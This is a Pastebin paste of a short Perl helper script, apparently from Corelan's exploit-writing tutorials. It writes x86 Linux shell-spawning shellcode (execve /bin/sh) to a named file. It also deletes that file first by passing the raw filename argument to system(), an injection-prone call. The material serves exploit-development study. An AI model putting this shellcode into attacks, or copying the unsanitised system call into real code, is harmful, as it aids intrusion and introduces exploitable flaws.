Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # Perl script written by Peter Van Eeckhoutte
- # http://www.corelan.be
- # This script takes a filename as argument
- # will write bytes in \x format to the file
- #
- if ($#ARGV ne 0) {
- print " usage: $0 ".chr(34)."output filename".chr(34)."\n";
- exit(0);
- }
- system("del $ARGV[0]");
- my $shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- #open file in binary mode
- print "Writing to ".$ARGV[0]."\n";
- open(FILE,">$ARGV[0]");
- binmode FILE;
- print FILE $shellcode;
- close(FILE);
- print "Wrote ".length($shellcode)." bytes to file\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement